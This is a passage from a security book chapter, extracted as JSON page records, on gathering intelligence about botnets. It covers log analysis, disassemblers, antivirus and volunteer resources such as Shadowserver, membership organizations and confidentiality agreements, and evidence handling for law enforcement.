elec-\ntronic threats such as botnets. If you’re reading this book, you’re already aware\nof the value of intelligence.The more information you’ve acquired about a\nthreat, the better able your organization will be to combat it.\nFortunately, over the last number of years, there has been a growing\nincrease in the number of intelligence resources available on the Internet.\nRather than floundering to determine what to look for on a system, or how\nto protect yourself, numerous organizations on the Internet have done much\nof your work for you. Using these resources, you can determine what to\ncheck on your systems, be informed of new threats, and identify existing bots\nthat may be affecting your network.\nIn reviewing information available through various groups, you should\nconsider joining membership organizations that limit information to profes-\nsionals who meet certain criteria.These may be people who are involved in\nsecurity for a certain type of organization, or meet specific standards required\nin the membership.These organizations will allow access to privileged infor-\nmation that cannot be discussed with third parties, and allow you to discuss\ntopics with other security professionals.\nSuch information is vital to repairing and improving security, and may be\nnecessary in situations where your network becomes the victim of a botnet\nattack.As we’ll discuss, during such attacks, you’ll need to determine whether\nit will remain an internal matter, or if it is necessary to inform the public and\ninvolve law enforcement. While this is never an easy decision, it is always\nimportant to understand the ramifications of not responding to an attack in\nthis way.\nIdentifying the Information an\nEnterprise/University Should Try to Gather\nBotnets are designed to allow botherders remote control of other computers,\nthereby hiding the botherders’ identity by providing false information on who\nwww.syngress.com\n392\nChapter 11 • Intelligence Resources\n" }, { "page_number": 411, "text": "is sending spam, attacking systems, or providing services like pirated software\nand files. Despite the inherent nature of a botnet, this doesn’t mean there isn’t\ndata available that leads back to the botherder. In fact, a considerable amount\nof information can be gathered when a botnet resides on a network, or when\na site is victim to an attack.The intelligence you gather can be used to iden-\ntify what botnet is running on systems, and may be used to ultimately identify\nand prosecute the botherder.\nOne of the first indications of a botnet problem will be revealed in log files\nfrom firewalls and those generated by scans of hosts and network traffic. If the\nbotnets are being used to send spam, logs will provide information on excessive\ne-mails being sent from computers on the network. Similarly, simultaneous\nrequests being made to a specific Web site will appear in the logs if the bot’s\npurpose is to perform a denial-of-service (DoS) attack. Scans may also indicate\nelevated network traffic, and reveal altered behaviors in how computers are\nfunctioning. For example, if the computers are being used to store pirated soft-\nware or files, they may exhibit the functionality associated with a server.These\ncomputers may listen for requests on the same ports, respond to incoming\nHTTP and FTP connections, or have ongoing communication with servers\noutside your network. Such abnormal network traffic can provide information\nthat allows a quick-and-easy way to shut down a botnet attack. If the com-\nputers are communicating with an IRC server, blocking traffic to and from that\nserver will often deny remote access to computers on your network, and pre-\nvent the bots from communicating with the botherder.\nOnce you’ve identified something is going on, you’ll need to identify\nexactly what’s going on. If computers on your network are infected with bot-\nnets, they are there to perform specific actions on behalf of the botherder, so\nyou should try what the bots have been doing. If they have been sending spam,\nyou should try to acquire copies of the e-mails sent by the botnet. Doing so\nmay aid in identifying the botherder, serve as evidence that may lead to his or\nher conviction, and assist in finding information on how to remove the botnet.\nIf the e-mail includes a hyperlink to take the receiver of the e-mail to a Web\nsite, this will aid in identifying the botherder. For example, if the spam took the\nrecipient to a Web site under the guise of updating the person’s banking profile,\nit would then be possible for police to identify who owns the site and arrest\nthem. Even if the spam didn’t directly lead to the botherder, it would provide\ninformation that could be used to identify how to remove the botnet. Since it\nwould be the same e-mail being sent out by multiple computers, searching\nwww.syngress.com\nIntelligence Resources • Chapter 11\n393\n" }, { "page_number": 412, "text": "Google or other search engines with text from the e-mail may provide results\non others who’ve been infected, and possibly steps to properly remove the bot\nfrom systems.\nIdentifying what a botnet is doing may also show that more files than just\nthe botnet are being stored on infected machines.As we’ve mentioned, some\nbotnets act as distribution servers, and may be used to store illegal copies of\nsoftware, music files, movies, or other copyrighted material. In some cases, more\ndisturbing files may be distributed by the botnet, such as child pornography or\nmalicious software that’s used to infect other computers.You’ll want to remove\nsuch material from your network, but it is important that the data remains pre-\nserved if there is a criminal investigation. In such cases, it is often best to remove\nthe hard disk from the computer, and replace it with one that has a clean instal-\nlation of the operating system and software.The infected hard disk can then be\ngiven to law enforcement, and reformatted when it’s of no further use to them.\nIn the U.S., all cases of child pornography must be reported to the FBI.\nMere possession of child pornography is a federal crime, so the original hard\ndrive and any copies or images you make must be turned over to the FBI. In\nthis case you must not retain a copy of the evidence for your files.\nTIP\nAnything gathered could be used as evidence in an investigation, so it is\nimportant that you don’t dismiss information on the botnets as irrele-\nvant. Having log files that show hundreds or thousands of messages\nwere sent from computers, copies of the spam that was sent, and pre-\ncise documentation on how this evidence was acquired can all be useful\nin subsequent criminal or civil proceedings. Once it is apparent that\nyour network has been attacked or compromised, it is important that\nyou keep records of what actions were taken and when they occurred.\nYou never know where the information you gather will take you, so it is\nimportant to document the process of what occurred.\nIt is also important to identify the scope or extent of an attack on your net-\nwork, and what information (if any) has been accessed. Because botnets could be\nused to access data on a computer or pose as the user currently logged on to the\nnetwork, it is possible the bot has been used to access client information, credit\ncard numbers, or other information stored on the computer or a network server.\nwww.syngress.com\n394\nChapter 11 • Intelligence Resources\n" }, { "page_number": 413, "text": "It is imperative that you determine who has been logged on to the machine,\nwhat access they had, and what data that machine or user has accessed. If client\ninformation has been accessed, you may need to contact clients to inform them\nthat their personal or corporate information has been compromised.\nThe files making up the botnet should also be isolated to identify how to\nproperly remove it. Identifying the files used by the botnet will allow you to\nlook up removal methods on antivirus or security sites, as we discussed in\nChapter 5 and will discuss further in this chapter.Acquiring copies of the\nbotnet will also allow you to disassemble it to review information that is hard\ncoded into it.\nDisassemblers\nIn addition to other tools and techniques mentioned elsewhere in the book\nfor gathering intelligence about botnets, including the tools and techniques in\nChapter 5, and the very promising sandbox technique mentioned in the \nprevious chapter, one additional tool for extracting botnet intelligence is a\ndisassembler.\nDisassembling is the process of translating an executable program into its\nequivalent assembly (machine code) representation. Using disassemblers, one\nmay more closely analyze the functions of code segments, jumps, and calls.\nThrough these analyses, one can better understand the inner workings of a\ngiven binary program and assess portions that may afford one the opportunity\nto exploit the target program. Using a disassembler, you can view any infor-\nmation that is hard coded into the program, inclusive to any IP addresses a\nbotnet sends information to, or data that might reveal its originating source.\nAt the very least, it will give you an indication of how the botnet was using\nhosts on your network.\nSeveral types of Windows-based disassemblers are available via the Web,\namong the more popular being Hackman Disassembler, PE Explorer, and DJ\nJava Decompiler.These disassemblers offer an intuitive graphical user interface\nby which many aspects of the disassembled program in question can be deter-\nmined quickly.\nPE Disassembler\nAs seen in Figure 11.1, PE Explorer is a tool from Heaventools Software\n(www.heaventools.com), and is used to disassemble Win32 executables, so you\nwww.syngress.com\nIntelligence Resources • Chapter 11\n395\n" }, { "page_number": 414, "text": "can analyze and edit them—be it EXE, DLL,ActiveX, or other Windows\nportable executable (PE) formats. Using this tool, you can quickly open an\nexecutable, analyze its procedures, libraries and dependencies, change its\ndata/time stamp, and edit other information.The program provides a wide\nrange of information for those reviewing their own programs, or those\nwritten by others.\nFigure 11.1 PE Disassembler\nDJ Java Decompiler\nThe DJ Java Decompiler runs on Windows machines, and is used to decom-\npile and disassemble Java programs. Using this tool, you can reconstruct the\nsource code of an applet or binary file, and review its methods, constants,\ninterfaces, attributes, and other features that would normally be unavailable to\nanyone other than the original programmer.\nHackman Disassembler\nAs seen in Figure 11.2, Hackman Disassembler is part of the Hackman Suite,\nand comes in three versions: Lite, Standard, and Pro.The Pro version of this\ntool has the capability to open any file size, and work with any instruction\nset, enabling you disassemble any Windows program and view its code.\nwww.syngress.com\n396\nChapter 11 • Intelligence Resources\n" }, { "page_number": 415, "text": "Figure 11.2 Hackman Disassembler\nTools & Traps…\nThemida\nOreans Technology has a product called Themida that may be used to\nprotect software by using features like data hiding, encryption, code\nreplacement, and others that make it difficult to analyze malicious soft-\nware protected by this product. When software protected by Themida\nruns on a computer, it will take control of the CPU and check for any\ndisassemblers on the computer. If none exists, Themida decrypts the\nsoftware and allows the program to be executed. Features in Themida\nmake it difficult to reverse engineer and crack a botnet protected by\nthis product, and makes the botnet more difficult to detect using\nantivirus software. Themida is available for download from\nwww.oreans.com, as are other tools designed for security that could be\nused for protecting malicious software from analysis.\nwww.syngress.com\nIntelligence Resources • Chapter 11\n397\n" }, { "page_number": 416, "text": "Using such tools to view the code is a task a number of organizations on\nthe Internet use to gather intelligence on botnets.This type of reverse engi-\nneering can provide information on the botherder, provide understanding of\nhow it works, and may be used in designing methods to remove botnets from\nsystems. If you’re uncomfortable with disassembling and viewing the botnet’s\ncode, a number of these organizations allow you to upload the botnet to\nthem, where they will analyze the botnet and be better able to monitor sim-\nilar botnets on the Internet.\nPlaces/Organizations Where \nPublic Information Can Be Found\nNumerous organizations and Web sites on the Internet provide up-to-date\ninformation, forums, and mailing lists dealing with botnets. Some organiza-\ntions are highly involved in the capture, analysis, monitoring and/or reporting\nof malicious software, while others focus on warning users of particular bot-\nnets and provide information on their removal.The level of detail provided\nsuch sites varies from basic to advanced, and may also provide the means to\ninteract with other security professionals, which is useful in allowing users to\nadvance from novices to experts.\nWARNING\nThe Internet is a resource for information, and a source of disinforma-\ntion. Try to only use reputable sources for information. If you’re\nunsure, try to verify the information by using secondary sources. It’s a\nsimple thing to create a Web page suggesting you install a tool to\nimprove security, and embed a botnet within the installation of that\ntool. You don’t want to use bad information to accidentally lower\nsecurity or install Trojans and viruses that will impact your network.\nAntivirus, Antispyware, \nand Antimalware Sites\nThe obvious sources of information are often overlooked when dealing with\na relatively new problem like botnets. Because bots have been around for\nwww.syngress.com\n398\nChapter 11 • Intelligence Resources\n" }, { "page_number": 417, "text": "years, those that have been previously discovered on systems have already been\nsubmitted to antivirus, antispyware, and antimalware software vendors.As\nsuch, their software can remove numerous botnets residing on a computer,\nand their sites provide whitepapers, articles, forums, and information on indi-\nvidual Trojans (inclusive to botnets). Some of the major sites providing these\nservices include:\n■\nGrisoft (www.grisoft.com) AVG antivirus, antimalware, antispyware,\npersonal firewall software, and other tools to safeguard systems.\n■\nLavasoft (www.lavasoft.de) Ad-aware spyware removal tool and a\npersonal firewall.\n■\nMcAfee (www.mcafee.com) McAfee Antivirus.\n■\nMicrosoft Security (www.microsoft.com/security/) The Microsoft\nMalicious Software Removal Tool, created by Microsoft to remove\nmalware from systems. Because most botnets are designed to attack\nMicrosoft systems, their security section shouldn’t be overlooked as a\nresource, nor should the updates and patches provided on the\nWindows Update site (http://windowsupdate.microsoft.com).\n■\nSymantec (www.symantec.com) Norton Antivirus and other tools\nfor safeguarding systems and removing malicious software and viruses.\n■\nSpybot Search & Destroy (www.safer-networking.org) Spybot\nSearch & Destroy, RunAlyzer, FileAlyzer, and RegAlyzer for\nremoving and analyzing spyware and malicious software.\nViewing Information on Known Bots and Trojans\nSites like Symantec provide information on known viruses and Trojans that its\nsoftware protects against.As seen in Figure 11.3, by looking through their\nonline database for information on a particular botnet that’s found on your\nsystem, you can obtain significant information on its origin, what it does,\nremoval procedures, and other information. Because botnets can modify the\nWindows registry, download and use multiple files, and make other modifica-\ntions to a computer, it is important to follow proper removal procedures to\nfully eliminate the botnet’s presence from a system.\nwww.syngress.com\nIntelligence Resources • Chapter 11\n399\n" }, { "page_number": 418, "text": "Figure 11.3 Information on Backdoor.IRC.Bot on Symantec Web Site\nProfessional and Volunteer Organizations\nIn addition to the organizations that are in the business of virus, malware, and\nspyware removal, numerous professional and volunteer organizations provide\nnoteworthy and comprehensive information on security issues like botnets.\nSome of the groups on the Internet that provide useful, timely information\non botnets and other security-related issues, and/or provide access to intelli-\ngence gathered by other security professionals, include:\n■\nEDUCAUSE www.educause.edu\n■\nNorth American Network Operators Group (NANOG)\nwww.nanog.org\n■\nShadowserver www.shadowserver.org\nEDUCAUSE\nEDUCAUSE is an organization whose membership consists of those who\nservice or are part of educational organizations. Membership includes \nwww.syngress.com\n400\nChapter 11 • Intelligence Resources\n" }, { "page_number": 419, "text": "colleges, universities, and other educational groups, and corporations that\nserve the Information Technology needs of higher education.They host con-\nferences and provide discussion groups, documents, and other resources that\ndeal with a wide variety of topics.\nNANOG\nThe North American Network Operators Group (NANOG) is an organiza-\ntion that focuses on backbone/enterprise network technologies and their\noperational practices.They provide conferences, tutorials, mailing lists, and\nother resources that allow the dissemination of security information to reach\nits membership. Links to tutorials and other information available for the\npublic to view can also be accessed through their site.\nShadowserver\nShadowserver is a volunteer organization that focuses on gathering intelli-\ngence on electronic fraud, malware, and botnets, inclusive to collecting, ana-\nlyzing, tracking, and reporting on their activity.They are highly involved in\nacquiring information on these threats, to the point of disassembling viruses\nand Trojans, reporting attackers, and alerting other professionals of these\nthreats. Up-to-date statistics, whitepapers, and other information are available\nto the public on their site, and mailing lists that send reports and other infor-\nmation to your e-mail address.There are also discussion lists that allow you to\ndiscuss security topics with other professionals.\nNotes from the Underground…\nThe History of Shadowserver\nOf the different organizations that provide information on botnets and\ndeal with security on the Internet, Shadowserver has one of the most\ninteresting histories. Shadowserver began in 2004, as the result of a per-\nsonal tragedy compounded by the victimization of online criminals.\nShortly after Nicolas Albright’s father committed suicide, he noticed that\nhis father’s computer was being used by botnets as part of a distributed\nwww.syngress.com\nIntelligence Resources • Chapter 11\n401\nContinued\n" }, { "page_number": 420, "text": "network to store pirated software and movies. After shutting down the\nnetwork of botnets by getting the criminal’s Internet access removed, he\nproceeded in gathering volunteers to assist in combating the growing\nincrease of botnets that are used for malicious purposes. The intelligence\nthey acquire is used to disseminate information to security professionals,\nreport criminal activity to law enforcement, and assist in shutting down\nand prosecuting those who use these tools for illegal purposes.\nOther Web Sites Providing Information\nWhile the Internet is filled with information on a variety of security-related\ntopics, a number of sites have repeatedly been useful for gathering intelligence\non botnets. Some of these include:\n■\nBlackflag (http://blackflag.wordpress.com) Information and articles\non botnets, hacking tools, malware, and other potential threats and\ntools.\n■\nBleeding Edge Threats (www.bleedingthreats.net) Virus signatures\navailable for download, mailing lists, feeds, and other features to their\nsite that are useful in intelligence gathering.\n■\nSecuriteam (www.securiteam.com) A security Web site owned and\nmaintained by Beyond Security (www.beyondsecurity.com) and pro-\nvides a wide variety of information on security-related topics, inclu-\nsive to known exploits, tools for download, news, reviews and other\nfeatures like the ability to submit questions to a security expert.\nMailing Lists and Discussion Groups\nThere are also a number of mailing lists, in which information can be sent to\nyou via e-mail on a regular basis, and message groups that allow you to post\nand view messages online. Some of these are mentioned in previous discus-\nsions of sites and what they offer, but the following are mailing lists and dis-\ncussion groups you can join to discuss security issues and ask questions:\n■\nEdu-Ops http://isotf.org/mailman/listinfo/edu-ops\n■\nAnti-Phishing Working Group www.apwg.org\nwww.syngress.com\n402\nChapter 11 • Intelligence Resources\n" }, { "page_number": 421, "text": "■\nBotnets www.whitestar.linuxbox.org/mailman/listinfo/botnets\n■\nShadowserver www.shadowserver.org/mailman/listinfo/shad-\nowserver\n■\nUniversity Security Operators Group (UNISOG)\nhttps://lists.sans.org/mailman/listinfo/unisog\nMembership \nOrganizations and How to Qualify\nWhile many of the organizations we’ve discussed so far are open to the public\nwith minimal or no requirements for joining, some have stringent require-\nments that must be met to qualify for membership.These groups provide\nintelligence about botnets, but only to those who are in the current member-\nship, and often include the condition that information isn’t shared outside the\ngroup.The exception to sharing information, of course, is when it is used to\nprotect your own network or for the security of your own organization.\nThe requirements of joining such organizations vary. Some may be limited\nto educational institutes, medical organizations, government funded research, or\nother types of organizations.A membership organization like the Institute of\nComputer Forensic Professionals (www.forensic-institute.org) is an example of\none that limits membership to those in a specific profession. If a person works\nin the field of digital evidence processing, and passes tests and meets certain cri-\nteria, membership is given. Other organizations may not limit membership to\nthose in a specific field or area of employment, such as those working for uni-\nversities or colleges, but will require specific requirements to be met.The spe-\ncific requirements are available on the organizations’Web sites, but often share\nsimilar characteristics in determining who may be a member.\nOne such organization that limits membership is the Research and\nEducation Network—Information Sharing and Analysis Center (REN-ISAC).\nVisiting their Web site at www.ren-isac.net, you will find limited information\navailable to the public.The real source of information is limited to those who\nare members of the organization.To become a member of an organization like\nREN-ISAC, requirements like the following need to be met:\nwww.syngress.com\nIntelligence Resources • Chapter 11\n403\n" }, { "page_number": 422, "text": "■\nThe person must be affiliated with a certain organization, and act as a\nrepresentative of that organization. In other words, one or a limited\nnumber of people from each organization may join.\n■\nThe candidate must work in an official capacity dealing with com-\nputer security and/or incident response, and have responsibility for\nthe security of that organization or part of it.\n■\nThe person must be permanently employed with the organization.\nThis is mainly because students, temporary employees, and those\nworking under contract aren’t suitable representatives of the organiza-\ntion, so they don’t meet the previous criteria.\n■\nA current member must vouch for the candidate.\n■\nThe candidate must agree to a confidentiality agreement and policies\nof the organization.\nVetting Members\nVetting is a process that involves a critical examination of those seeking mem-\nbership with an organization. When a person applies to the organization, a\nselect panel or current members will review a candidate’s information and\ndecide whether they want that person to join.The organization may also con-\nfirm employment or other information included in the application. If any\nmembers decide they don’t want a person to join, or information in the\napplication is found to be false, the application is denied.\nThe membership organization may also reconfirm the status of members\nto determine if the information in their initial application has changed.This is\nto confirm that the person is still working for the same employer and in the\nsame capacity. For example, if the person has been fired, or has changed to a\nposition that doesn’t involved security, the organization may revoke the\nperson’s membership because he or she no longer meets the criteria of\njoining.\nConfidentiality Agreements\nConfidentiality agreements are used to prevent information from being disclosed\noutside an organization.They are used to limit the types of information that\nwww.syngress.com\n404\nChapter 11 • Intelligence Resources\n" }, { "page_number": 423, "text": "may be discussed with third parties, and are often used in environments where\nsecurity is an issue.After all, what is the point of having network security if\nthe people using the network are free to discuss anything they have access to\non a blog or in a bar? Depending on where you work, you may have signed a\nconfidentiality agreement upon being hired. If you’ve joined a membership\norganization that deals with security, you will almost certainly need to abide\nby one.\nWhat Can Be Shared\nIn World War II, there was an adage that “Loose lips sink ships,” meaning that\ntalking about what you know to the wrong person could cause significant\ndamage.The same holds true today, especially when it comes to security\nissues, which is why confidentiality agreements are used to deter revealing\ninformation to the wrong person. In any confidentiality agreement, you\nshould restrict information on a need-to-know basis.\nIn membership organizations that expect information to be kept in confi-\ndence, members are allowed to share information with other members, and\nthe peers and subordinates within their own organization. However, allowing\nyou to discuss information with your peers at work doesn’t mean discussing\nsomething at the water cooler.The reason for sharing information with others\nin your organization should be solely for the purpose of dealing with threats\nand improving security.\nWhat Can’t Be Shared\nIf you do discuss information with someone, many membership organizations\nrequire you not to identify their organization, other organizations, or name\nindividuals. Releasing information about a third party could provide details\nthe organization doesn’t want revealed, such as the servers they’re using, fire-\nwall information, and other aspects of their network infrastructure. In the\nwrong hands, this information could provide some elements that could be\nused to attack the system.Additional problems could result if the source was\nwrong, and you were spreading false rumors about the third party.At the very\nleast, it could lead to embarrassment for the third party, if they didn’t want the\ninformation released. If you do name a third party, you should get consent\nfrom the source and get permission from the organization being mentioned.\nwww.syngress.com\nIntelligence Resources • Chapter 11\n405\n" }, { "page_number": 424, "text": "If you don’t have permission to use a person or organization’s name and\ninformation, you shouldn’t discuss it outside an organization with which you\nhave a confidentiality agreement. If you do, you should use hypothetical situa-\ntions and names. For example, saying “a company last year was affected by a\nbotnet, and disassembled it and found the IP address information was being\nsent to X” provides enough information to colleagues without mentioning\nspecifics about who was involved. Similarly, using false names like “Jane Doe”\nor “Widgets Inc.” allows you to convey a scenario without identifying who\nwas involved.\nPotential Impact of \nBreaching These Agreements\nThe same limitations on releasing information should also apply to discussing\naspects of your own company.At a minimum, breaking a confidentiality\nagreement where you work could result in your employment being termi-\nnated. In some situations, that may be a best-case scenario. Records dealing\nwith patients in medical facilities, criminal backgrounds in police depart-\nments, personal information on clients, and other privileged information need\nto be secure, and are controlled through policies and laws.There are strict reg-\nulations to control the release of information in such situations, and breaking\nthese rules could result in fines, compensation to clients and other third par-\nties, and imprisonment.\nMembership organizations also have policies that determine what will\noccur when someone breeches a confidentiality agreement. If the agreement\nis broken, the person who broke the rules can have his or her membership\nrevoked. If the situation is serious enough, that person’s company may be\nblacklisted, preventing anyone from the company from joining the member-\nship organization in the future.\nThe exception to being released from the confines of a confidentiality\nagreement is when you are legally required to do so. During a criminal inves-\ntigation, you may be required to provide information to law enforcement or\nwhile testifying. If a confidentiality agreement prevents you from providing\ninformation, you can request a warrant or subpoena issued, or you may be\nordered during testimony to provide the information. In such cases, any con-\nfidentiality agreement becomes secondary, as you can be charged with con-\ntempt of court or other charges by failing to comply.\nwww.syngress.com\n406\nChapter 11 • Intelligence Resources\n" }, { "page_number": 425, "text": "Because confidentiality agreements can be limiting, it is important that\nwhen you create ones for your clients or employees, you outline the specifics\nof what information is kept in confidence, when it can be discussed, what\ninformation is available to the public, and other issues that may impact the\nagreement at a later time.The confidentiality agreement works as a contract\nbetween you and another party, so you should specify that information may\nbe released as part of a criminal investigation or other instances where you\ndeem it may be necessary.\nConflict of Interest\nBefore joining membership organizations, you should determine whether\ninformation about your network can be exchanged with people in that orga-\nnization. If you were dealing with a security problem and posted information\nto such a site, you could possibly break a confidentiality agreement with your\nown company. In such a situation, you may be abiding by one agreement but\nbreaking another. Have a clear understanding as to what information you can\nprovide when posting questions about your site online, or when discussing\nissues with other security professionals.\nNOTE\nDon’t get too stressed over what you can disclose and what you can’t.\nRequesting permission from a decision maker at your place of employ-\nment will allow you to discuss information to improve security. If you\nhave questions as to what you can discuss outside of a membership\norganization, ask them. In all cases, however, never reveal more infor-\nmation than necessary.\nWhat to Do with \nthe Information When You Get It\nThrough memberships, mailing lists, and other information available on the\nInternet, you should be able to keep relatively up to date on what threats can\nimpact your network. Using this information, you can discover new vulnera-\nbilities that can be exploited, patches and updates that need to be applied, and\nwww.syngress.com\nIntelligence Resources • Chapter 11\n407\n" }, { "page_number": 426, "text": "apply measures to limit the botnets that could infect your systems. Performing\nsystem integrity checks, using personal firewalls, encryption software, and run-\nning antivirus, antispyware, and antimalware tools on your computers will\nprevent botnets from infecting a system. Making such repairs, improvements,\nand hardening systems are the best steps toward minimizing botnets from\ninfecting computers and limiting the damage caused by a botnet attack.\nIf you discover botnets on a computer, and determine through reverse\nengineering, log analysis, and a review of the hard disk’s contents what the\nbotnet has been doing, you will need to decide whether your organization\nwill need to go public with the attack. If client information has been com-\npromised, you will need to contact the people whose information may have\nbeen obtained by an attacker. However, if computers were being used to send\nspam or distribute innocuous files on the hard disk, you may decide to fix the\nproblem and keep it quiet. Unfortunately, even though ethics may lead you to\ninvolve law enforcement, decision makers in the organization may decide that\nannouncing their systems were insecure is bad for business and decide to keep\nthe incident an internal matter.\nAre You 0wned?\nThe Stealing of Personal Information\nIn October 2006, Brock University experienced the embarrassing situation\nof its systems being hacked, and the personal information of upwards of\n70,000 alumni and other donators being stolen. The information of pos-\nsibly every person who had ever donated to the university was accessed,\nincluding credit card and banking information. The university contacted\npolice to investigate the incident, and contacted those people whose\ninformation may have been stolen. Within 24 hours, people were con-\ntacted via telephone and thousands of letters were sent to inform dona-\ntors of this breach in security. While the investigation continues at the\ntime of this writing, the university followed by having the security of\ntheir systems reviewed and improvements made. Damage control also\ninvolved responding to the media, and informing the public that steps\nwere being taken to repair vulnerabilities and improve security.\nAlthough the university was caught in a bad situation, the handling of it\nis a textbook case of how to properly respond to an incident.\nwww.syngress.com\n408\nChapter 11 • Intelligence Resources\n" }, { "page_number": 427, "text": "Throughout the process, you should document what actions were taken,\nthe dates and times, and who was involved.This information is useful for\nreviewing the process of repairing vulnerabilities that were exploited, and may\nbe required if third-party security professionals or law enforcement become\ninvolved. Documentation will aid security professionals in reviewing the\nbefore and- after of the systems as repairs were made, and may become evi-\ndence of what occurred.\nTIP\nThe dates and times appearing in log files are important in deter-\nmining when events occurred during an attack. As such, it is impor-\ntant that your servers and other devices on the network have their\ntime synchronized. Services are available to synchronize the system\nclocks of servers and workstations on your network, and the Network\nTime Protocol can be used to synchronize them.\nWhile the confidentiality agreements discussed earlier may have seemed\nlike overkill when thinking of discussing another organization, you will feel\nsome security that they exist when it comes to your network being attacked.\nIt is important to determine whether information will be shared with other\nsecurity professionals through membership organizations or other groups.The\ninformation may assist in making repairs to systems, and prevent others from\nexperiencing similar attacks.\nThe Role of Intelligence \nSources in Aggregating \nEnough Information to Make Law\nEnforcement Involvement Practical\nThe decision to involve law enforcement can be a difficult one, especially as it\nmay involve the incident becoming public knowledge. In addition, anyone\ninvolved in responding to the attack or working with law enforcement may\nbe required to testify at a later date.These issues may dissuade members of\nwww.syngress.com\nIntelligence Resources • Chapter 11\n409\n" }, { "page_number": 428, "text": "your organization from wanting a police presence, but catching the botherder\nor hacker who attacked your network will prevent further attacks in the\nfuture.\nPreserving evidence of the attack is essential to a successful investigation.\nKeeping the server up and running is a goal of IT staff, while keeping evi-\ndence intact is the goal of an investigation. Specialists in law enforcement may\nrequest computers aren’t touched until they are analyzed.To avoid modifying\nany of the contents of the drive, it may be necessary to remove the drives of\nany systems that were affected by the attack, which may contain the bot or\nother related files (such as pirated software, movies, or other items stored on\nthe drive).As mentioned previously, the hard drive may be required as evi-\ndence if law enforcement is contacted. Once the hard drive is removed,\nreplace it with a clean version of the drive that doesn’t contain the bot.This\nmay involve restoring information to the drive from a backup, or making a\ncopy of the existing drive and removing the botnet and restoring any items it\nmay have altered (such as registry entries). If your organization is the victim\nof a DoS attack, such actions would be overkill, as you would only need to\ngather log files, router statistics, and other samples of the network traffic\nduring the attack. In any situation, however, it is vital that you provide law\nenforcement with as much access as they require, even if it is supervised by a\nmember of your IT staff. If there is information that will require warrants or a\nsubpoena to release, you should try to identify it early, so the investigators can\nobtain them early.\nIt is also important to remember that the first officers to respond to an\nincident may not necessarily be the ones performing an investigation. When a\ncall is made to police, an officer is sent to respond to the incident. If the inci-\ndent requires special investigation skills, other units specializing in these areas\nwill be called. Most police departments in North America have a Technology\nCrime Unit or a partnership with larger law enforcement organizations to\nperform computer forensic investigations. In some cases, local police may refer\nthe case to federal law enforcement if it involves computers or suspects in\nother states, provinces, or countries.\nwww.syngress.com\n410\nChapter 11 • Intelligence Resources\n" }, { "page_number": 429, "text": "Summary\nThe intelligence you gather about a threat like botnets is vital to your ability\nto prevent or recover from an attack.Although botnets have been around for\nyears, the incidents involving this method of attack have increased.\nInformation gathered from sources like vendor sites, membership organiza-\ntions, public sites, mailing lists, and other sources will better enable your orga-\nnization to combat threats and improve security.\nUsing the resources available on the Internet will provide you with a wide\nvariety of tools.As we saw earlier in this chapter, disassemblers will take apart\nmalicious software to review how it works, and may provide information on\nwho is communicating with a botnet. In addition, log files and other samples\ncreated by devices on your network will indicate botnet attacks, and provide\nimportant information on how the attack occurred.\nMembership organizations are another important resource, and allow you\nto discuss situations with other professionals. Membership organizations pro-\nvide privileged information to those who have met specific criteria to join,\nand protect members through confidentiality agreements to ensure that what’s\nsaid to the group stays with the group.These groups will also provide alerts to\nthreats, and information that may not be readily available elsewhere.\nIf an attack occurs on your site, you should seriously consider the involve-\nment of law enforcement. By having an investigation performed, the both-\nerder or hackers involved in an attack may be apprehended, and subsequent\nattacks may be prevented. If a decision is made to involve the police, it is\nimportant that evidence be preserved so a case can be made against the\nattacker. While the involvement of law enforcement was limited in previous\nyears, most law enforcement agencies now have specialists or entire units that\ndeal in investigating computer-related crimes and electronic fraud.\nSolutions Fast Track\nIdentifying the Information an \nEnterprise/University Should Try to Gather\n\u0002 Log files from firewalls, scans, and other sources on your network can\nprovide the first indications that a botnet resides on computers.They\nwww.syngress.com\nIntelligence Resources • Chapter 11\n411\n" }, { "page_number": 430, "text": "can be a valuable source of information, and be used as evidence in\npossible criminal investigations or civil suits against an attacker.\n\u0002 Copies of spam being sent by the botnet, files stored by the botnet,\nand even the hard disk itself may be useful as evidence and provide\ninformation on what the botnet is doing with hosts on your\nnetwork.\n\u0002 Tools like disassemblers can be used to disassemble a botnet and view\nits code. Using these tools, you can find a significant amount of\nintelligence regarding the botnet, including how it works, what it\naccesses, and who it’s communicating with.\nPlaces/Organizations Where \nPublic Information Can Be Found\n\u0002 Numerous organizations and sites on the Internet provide\ninformation on botnets that have been active on the Internet.These\ninclude vendors that manufacture tools to safeguard systems or\nremove viruses and malware, security sites that provide information,\nmailing lists, and discussion groups.\n\u0002 Sites that provide antivirus, antimalware, and antispyware tools often\nprovide additional information on known botnets. Information\nincludes proper removal procedures, how the botnet works, and its\npurpose or functions.\n\u0002 Public organizations provide whitepapers, articles, statistics, and other\ninformation that can aid in protecting systems, and understanding the\nthreat botnets pose.They often provide additional methods of\ndiscussing botnets with other security professionals and those who are\ndealing or have dealt with botnet problems.\nMembership Organizations and How to Qualify\n\u0002 Some organizations require incumbents to meet specific criteria\nbefore membership is given.The requirements may include working\nin a specific field, for a certain type of organization (such as a\nwww.syngress.com\n412\nChapter 11 • Intelligence Resources\n" }, { "page_number": 431, "text": "university, college, law enforcement, etc.), or other criteria that limits\nthe number of people who may join.\n\u0002 Membership organizations limit all or the bulk of information to\nthose who have acquired membership in the organization.\n\u0002 Vetting is a process that involves a critical examination of those\nseeking membership with an organization. Members determine\nwhether a person may join, or should be removed from membership.\nConfidentiality Agreements\n\u0002 Confidentiality agreements are used to limit information from being\ndisclosed outside an organization.They are often used in membership\norganizations or environments where security is essential.\n\u0002 Unless you are in a situation where you have been ordered by the\ncourts to reveal information, you should only release information on\na need-to-know basis to prevent breaking any confidentiality\nagreements.\n\u0002 Releasing information to third parties may result in membership to\nan organization being revoked. In some situations, breaking a\nconfidentiality agreement could result in fines, civil damages, and\npossible imprisonment.\nWhat to Do with the Information When You Get It\n\u0002 Identify methods that can be used to improve security.\n\u0002 Use information on botnet removal procedures to properly restore\nsystems to a secure state.\n\u0002 Document all actions taken to restore systems, and gather evidence\nthat may be required by security professionals or law enforcement at\na later time.\n\u0002 Determine what information may have been compromised, and\nwhether clients or other individuals and organizations need to be\ncontacted about the incident.\nwww.syngress.com\nIntelligence Resources • Chapter 11\n413\n" }, { "page_number": 432, "text": "The Role of Intelligence Sources in Aggregating \nEnough Information to Make Law Enforcement\nInvolvement Practical\n\u0002 Try to preserve as much evidence as possible for further investigation.\n\u0002 Identify areas that were affected by an incident, and try to provide as\nmuch access as possible to law enforcement specialists during the\ninvestigation.\n\u0002 Identify information that will require a warrant or subpoena to\nrelease.\nQ: Are the best sources of intelligence on the Internet?\nA: Not necessarily. Many 